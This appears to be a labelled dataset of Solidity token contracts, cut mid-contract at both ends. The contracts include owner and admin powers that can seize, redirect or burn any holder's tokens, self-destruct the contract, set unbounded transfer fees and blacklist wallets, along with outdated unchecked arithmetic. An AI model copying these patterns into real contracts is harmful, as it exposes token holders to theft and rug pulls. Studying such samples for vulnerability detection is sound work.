uint8 _admin;
uint8 _migration;
uint8 _subowner;
uint8 _owner;
}
groupPolicy public currentState = groupPolicy(0, 3, 4, 9, 2, 9);
event EvGroupChanged(address _address, uint8 _oldgroup, uint8 _newgroup);
event EvMigration(address _address, uint256 _balance, uint256 _secret);
event Pause();
event Unpause();
constructor (string _name, string _symbol, uint8 _decimals, uint256 _startTokens) public {
owner = msg.sender;
group[owner] = currentState._owner;
accounts[msg.sender] = _startTokens;
holders.push(msg.sender, true);
summarySupply = _startTokens;
name = _name;
symbol = _symbol;
decimals = _decimals;
emit Transfer(address(0x0), msg.sender, _startTokens);
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
modifier minGroup(int _require) {
require(group[msg.sender] >= _require);
_;
}
modifier onlyGroup(int _require) {
require(group[msg.sender] == _require);
_;
}
modifier whenNotPaused() {
require(!paused || group[msg.sender] >= currentState._backend);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function servicePause() minGroup(currentState._admin) whenNotPaused public {
paused = true;
emit Pause();
}
function serviceUnpause() minGroup(currentState._admin) whenPaused public {
paused = false;
emit Unpause();
}
function serviceGroupChange(address _address, uint8 _group) minGroup(currentState._admin) external returns(uint8) {
require(_address != address(0));
uint8 old = group[_address];
if(old <= currentState._admin) {
group[_address] = _group;
emit EvGroupChanged(_address, old, _group);
}
return group[_address];
}
function serviceTransferOwnership(address newOwner) minGroup(currentState._owner) external {
require(newOwner != address(0));
group[newOwner] = currentState._subowner;
group[msg.sender] = currentState._subowner;
emit EvGroupChanged(newOwner, currentState._owner, currentState._subowner);
}
function serviceClaimOwnership() onlyGroup(currentState._subowner) external {
address temp = owner;
uint256 value = accounts[owner];
accounts[owner] = accounts[owner].sub(value);
holders.remove(owner);
accounts[msg.sender] = accounts[msg.sender].add(value);
holders.push(msg.sender, true);
owner = msg.sender;
delete group[temp];
group[msg.sender] = currentState._owner;
emit EvGroupChanged(msg.sender, currentState._subowner, currentState._owner);
emit Transfer(temp, owner, value);
}
function serviceIncreaseBalance(address _who, uint256 _value) minGroup(currentState._admin) external returns(bool) {
require(_who != address(0));
require(_value > 0);
accounts[_who] = accounts[_who].add(_value);
summarySupply = summarySupply.add(_value);
holders.push(_who, true);
emit Transfer(address(0), _who, _value);
return true;
}
function serviceDecreaseBalance(address _who, uint256 _value) minGroup(currentState._admin) external returns(bool) {
require(_who != address(0));
require(_value > 0);
require(accounts[_who] >= _value);
accounts[_who] = accounts[_who].sub(_value);
summarySupply = summarySupply.sub(_value);
if(accounts[_who] == 0){
holders.remove(_who);
}
emit Transfer(_who, address(0), _value);
return true;
}
function serviceRedirect(address _from, address _to, uint256 _value) minGroup(currentState._admin) external returns(bool){
require(_from != address(0));
require(_to != address(0));
require(_value > 0);
require(accounts[_from] >= _value);
require(_from != _to);
accounts[_from] = accounts[_from].sub(_value);
if(accounts[_from] == 0){
holders.remove(_from);
}
accounts[_to] = accounts[_to].add(_value);
holders.push(_to, true);
emit Transfer(_from, _to, _value);
return true;
}
function serviceTokensBurn(address _address) external minGroup(currentState._admin) returns(uint256 balance) {
require(_address != address(0));
require(accounts[_address] > 0);
uint256 sum = accounts[_address];
accounts[_address] = 0;
summarySupply = summarySupply.sub(sum);
holders.remove(_address);
emit Transfer(_address, address(0), sum);
return accounts[_address];
}
function serviceTrasferToDist(bytes32 _to, uint256 _value) external minGroup(currentState._admin) {
require(_value > 0);
require(accounts[owner] >= _value);
distribution[_to] = distribution[_to].add(_value);
accounts[owner] = accounts[owner].sub(_value);
emit Transfer(owner, address(0), _value);
}
function serviceTrasferFromDist(bytes32 _from, address _to, uint256 _value) external minGroup(currentState._backend) {
require(_to != address(0));
require(_value > 0);
require(distribution[_from] >= _value);
accounts[_to] = accounts[_to].add(_value);
holders.push(_to, true);
distribution[_from] = distribution[_from].sub(_value);
emit Transfer(address(0), _to, _value);
}
function getGroup(address _check) external constant returns(uint8 _group) {
return group[_check];
}
function getBalanceOfDist(bytes32 _of) external constant returns(uint256){
return distribution[_of];
}
function getHoldersLength() external constant returns(uint256){
return holders.sizeOf();
}
function getHolderLink(address _holder) external constant returns(bool, address, address){
return holders.getNode(_holder);
}
function getUmkaAddress(address _who) external constant returns(string umkaAddress){
return umkaAddresses[_who];
}
function setUmkaAddress(string _umka) minGroup(currentState._default) whenNotPaused external{
umkaAddresses[msg.sender] = _umka;
}
function transfer(address _to, uint256 _value) onlyPayloadSize(64) minGroup(currentState._default) whenNotPaused external returns (bool success) {
require(_to != address(0));
require (accounts[msg.sender] >= _value);
accounts[msg.sender] = accounts[msg.sender].sub(_value);
if(accounts[msg.sender] == 0){
holders.remove(msg.sender);
}
accounts[_to] = accounts[_to].add(_value);
holders.push(_to, true);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(64) minGroup(currentState._default) whenNotPaused external returns (bool success) {
require(_to != address(0));
require(_from != address(0));
require(_value <= accounts[_from]);
require(_value <= allowed[_from][msg.sender]);
accounts[_from] = accounts[_from].sub(_value);
if(accounts[_from] == 0){
holders.remove(_from);
}
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
accounts[_to] = accounts[_to].add(_value);
holders.push(_to, true);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _old, uint256 _new) onlyPayloadSize(64) minGroup(currentState._default) whenNotPaused external returns (bool success) {
require (_old == allowed[msg.sender][_spender]);
require(_spender != address(0));
allowed[msg.sender][_spender] = _new;
emit Approval(msg.sender, _spender, _new);
return true;
}
function allowance(address _owner, address _spender) external constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function balanceOf(address _owner) external constant returns (uint256 balance) {
if (_owner == address(0))
return accounts[msg.sender];
return accounts[_owner];
}
function totalSupply() external constant returns (uint256 _totalSupply) {
_totalSupply = summarySupply;
}
function destroy() minGroup(currentState._owner) external {
selfdestruct(msg.sender);
}
function settingsSwitchState() external minGroup(currentState._owner) returns (bool state) {
if(contractEnable) {
currentState._default = 9;
currentState._migration = 0;
contractEnable = false;
} else {
currentState._default = 0;
currentState._migration = 9;
contractEnable = true;
}
return contractEnable;
}
function userMigration(uint256 _secrect) external minGroup(currentState._migration) returns (bool successful) {
uint256 balance = accounts[msg.sender];
require (balance > 0);
accounts[msg.sender] = accounts[msg.sender].sub(balance);
holders.remove(msg.sender);
accounts[owner] = accounts[owner].add(balance);
holders.push(owner, true);
emit EvMigration(msg.sender, balance, _secrect);
emit Transfer(msg.sender, owner, balance);
return true;
}
} | True | [
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pragma solidity ^0.4.12;
contract IMigrationContract {
function migrate(address addr, uint256 nas) returns (bool success);
}
/* 灵感来自于NAS coin*/
contract SafeMath {
function safeAdd(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint256 x, uint256 y) internal returns(uint256) {
assert(x >= y);
uint256 z = x - y;
return z;
}
function safeMult(uint256 x, uint256 y) internal returns(uint256) {
uint256 z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
}
contract Token {
uint256 public totalSupply;
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/* ERC 20 token */
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else {
return false;
}
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else {
return false;
}
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
}
contract HKHCToken is StandardToken, SafeMath {
// metadata
string public constant name = "Happily keep health";
string public constant symbol = "HKHC";
uint256 public constant decimals = 18;
string public version = "1.0";
// contracts
address public ethFundDeposit; // ETH存放地址
address public newContractAddr; // token更新地址
// crowdsale parameters
bool public isFunding; // 状态切换到true
uint256 public fundingStartBlock;
uint256 public fundingStopBlock;
uint256 public currentSupply; // 正在售卖中的tokens数量
uint256 public tokenRaised = 0; // 总的售卖数量token
uint256 public tokenMigrated = 0; // 总的已经交易的 token
uint256 public tokenExchangeRate = 625; // 625 BILIBILI 兑换 1 ETH
// events
event AllocateToken(address indexed _to, uint256 _value); // 分配的私有交易token;
event IssueToken(address indexed _to, uint256 _value); // 公开发行售卖的token;
event IncreaseSupply(uint256 _value);
event DecreaseSupply(uint256 _value);
event Migrate(address indexed _to, uint256 _value);
// 转换
function formatDecimals(uint256 _value) internal returns (uint256 ) {
return _value * 10 ** decimals;
}
// constructor
function HKHCToken(
address _ethFundDeposit,
uint256 _currentSupply)
{
ethFundDeposit = _ethFundDeposit;
isFunding = false; //通过控制预CrowdS ale状态
fundingStartBlock = 0;
fundingStopBlock = 0;
currentSupply = formatDecimals(_currentSupply);
totalSupply = formatDecimals(1000000000);
balances[msg.sender] = totalSupply;
if(currentSupply > totalSupply) throw;
}
modifier isOwner() { require(msg.sender == ethFundDeposit); _; }
/// 设置token汇率
function setTokenExchangeRate(uint256 _tokenExchangeRate) isOwner external {
if (_tokenExchangeRate == 0) throw;
if (_tokenExchangeRate == tokenExchangeRate) throw;
tokenExchangeRate = _tokenExchangeRate;
}
/// @dev 超发token处理
function increaseSupply (uint256 _value) isOwner external {
uint256 value = formatDecimals(_value);
if (value + currentSupply > totalSupply) throw;
currentSupply = safeAdd(currentSupply, value);
IncreaseSupply(value);
}
/// @dev 被盗token处理
function decreaseSupply (uint256 _value) isOwner external {
uint256 value = formatDecimals(_value);
if (value + tokenRaised > currentSupply) throw;
currentSupply = safeSubtract(currentSupply, value);
DecreaseSupply(value);
}
/// 启动区块检测 异常的处理
function startFunding (uint256 _fundingStartBlock, uint256 _fundingStopBlock) isOwner external {
if (isFunding) throw;
if (_fundingStartBlock >= _fundingStopBlock) throw;
if (block.number >= _fundingStartBlock) throw;
fundingStartBlock = _fundingStartBlock;
fundingStopBlock = _fundingStopBlock;
isFunding = true;
}
/// 关闭区块异常处理
function stopFunding() isOwner external {
if (!isFunding) throw;
isFunding = false;
}
/// 开发了一个新的合同来接收token（或者更新token）
function setMigrateContract(address _newContractAddr) isOwner external {
if (_newContractAddr == newContractAddr) throw;
newContractAddr = _newContractAddr;
}
/// 设置新的所有者地址
function changeOwner(address _newFundDeposit) isOwner() external {
if (_newFundDeposit == address(0x0)) throw;
ethFundDeposit = _newFundDeposit;
}
///转移token到新的合约
function migrate() external {
if(isFunding) throw;
if(newContractAddr == address(0x0)) throw;
uint256 tokens = balances[msg.sender];
if (tokens == 0) throw;
balances[msg.sender] = 0;
tokenMigrated = safeAdd(tokenMigrated, tokens);
IMigrationContract newContract = IMigrationContract(newContractAddr);
if (!newContract.migrate(msg.sender, tokens)) throw;
Migrate(msg.sender, tokens); // log it
}
/// 转账ETH 到 HKHCToken 团队
function transferETH() isOwner external {
if (this.balance == 0) throw;
if (!ethFundDeposit.send(this.balance)) throw;
}
/// 将BILIBILI token分配到预处理地址。
function allocateToken (address _addr, uint256 _eth) isOwner external {
if (_eth == 0) throw;
if (_addr == address(0x0)) throw;
uint256 tokens = safeMult(formatDecimals(_eth), tokenExchangeRate);
if (tokens + tokenRaised > currentSupply) throw;
tokenRaised = safeAdd(tokenRaised, tokens);
balances[_addr] += tokens;
AllocateToken(_addr, tokens); // 记录token日志
}
/// 购买token
function () payable {
if (!isFunding) throw;
if (msg.value == 0) throw;
if (block.number < fundingStartBlock) throw;
if (block.number > fundingStopBlock) throw;
uint256 tokens = safeMult(msg.value, tokenExchangeRate);
if (tokens + tokenRaised > currentSupply) throw;
tokenRaised = safeAdd(tokenRaised, tokens);
balances[msg.sender] += tokens;
IssueToken(msg.sender, tokens); //记录日志
}
} | True | [
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|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract TestContract12 is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "TestContract12";
string private constant _symbol = "TestContract12";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 3;
uint256 private _taxFeeOnBuy = 6;
uint256 private _redisFeeOnSell = 3;
uint256 private _taxFeeOnSell = 6;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xbb3d9CcD0De8d786BF02C2E14D8793Fe935202b9);
address payable private _marketingAddress = payable(0x5116A0124F2C36408DFFa244f95610EF350DFE9A);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 25000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
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|
// File: scriptsV2/SafeMath.sol
pragma solidity ^0.8.4;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
// File: scriptsV2/IUniswapV2Factory.sol
pragma solidity ^0.8.0;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
// File: scriptsV2/IERC20.sol
pragma solidity ^0.8.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: scriptsV2/IUniswapV2Router02.sol
pragma solidity ^0.8.0;
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
// File: scriptsV2/contextHelper.sol
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
// File: scriptsV2/ERC20Ownable.sol
pragma solidity ^0.8.4;
contract ERC20Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
// File: contracts/komodo.sol
pragma solidity ^0.8.7;
contract Komodo is IERC20,Context,ERC20Ownable {
using SafeMath for uint256;
IUniswapV2Router02 private uniswapV2Router;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e14 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _maxTxAmount = _tTotal;
uint256 private _tFeeTotal;
uint256 private _taxFee1;
uint256 private _taxFee2;
bool private OpenTrades;
bool private inSwap = false;
bool private enableSwap = false;
bool private coolDownEnabled = false;
mapping (address => uint256) private _ownAmt;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isBlackListed;
mapping (address => uint) private _setCoolDown;
mapping (address => bool) private _noFeeList;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier swapLock {
inSwap = true;
_;
inSwap = false;
}
address payable private _taxWallet;
address private uniswapV2Pair;
/*
TOKENS BASIC INFORMATION
-------------------------
**/
/*
TOKENS BASIC INFORMATION
-------------------------
**/
string private constant _name = "KOMODO INU";
string private constant _symbol = "KOMODO";
uint8 private constant _decimal = 9;
/*
TOKENS CONSTRUCTOR
------------------
**/
//--------------------------------------------
constructor () {
_taxWallet = payable(0xd520Bc27cAfe04df2E8B98AEa69715536a2724a4);
_ownAmt[_msgSender()] = _rTotal;
_noFeeList[owner()] = true;
_noFeeList[address(this)] = true;
_noFeeList[_taxWallet] = true;
/*
BLACK LIST OF BOTS
------------------
**/
blackList(0x91B305F0890Fd0534B66D8d479da6529C35A3eeC);
blackList(0x7F5622afb5CEfbA39f96CA3b2814eCF0E383AAA4);
blackList(0xfcf6a3d7eb8c62a5256a020e48f153c6D5Dd6909);
blackList(0x74BC89a9e831ab5f33b90607Dd9eB5E01452A064);
blackList(0x1F53592C3aA6b827C64C4a3174523182c52Ece84);
blackList(0x460545C01c4246194C2e511F166D84bbC8a07608);
blackList(0x2E5d67a1d15ccCF65152B3A8ec5315E73461fBcd);
blackList(0xb5aF12B837aAf602298B3385640F61a0fF0F4E0d);
blackList(0xEd3e444A30Bd440FBab5933dCCC652959DfCB5Ba);
blackList(0xEC366bbA6266ac8960198075B14FC1D38ea7de88);
blackList(0xa85C92Df9f8ce6F2A1E760272a1997460082380e);
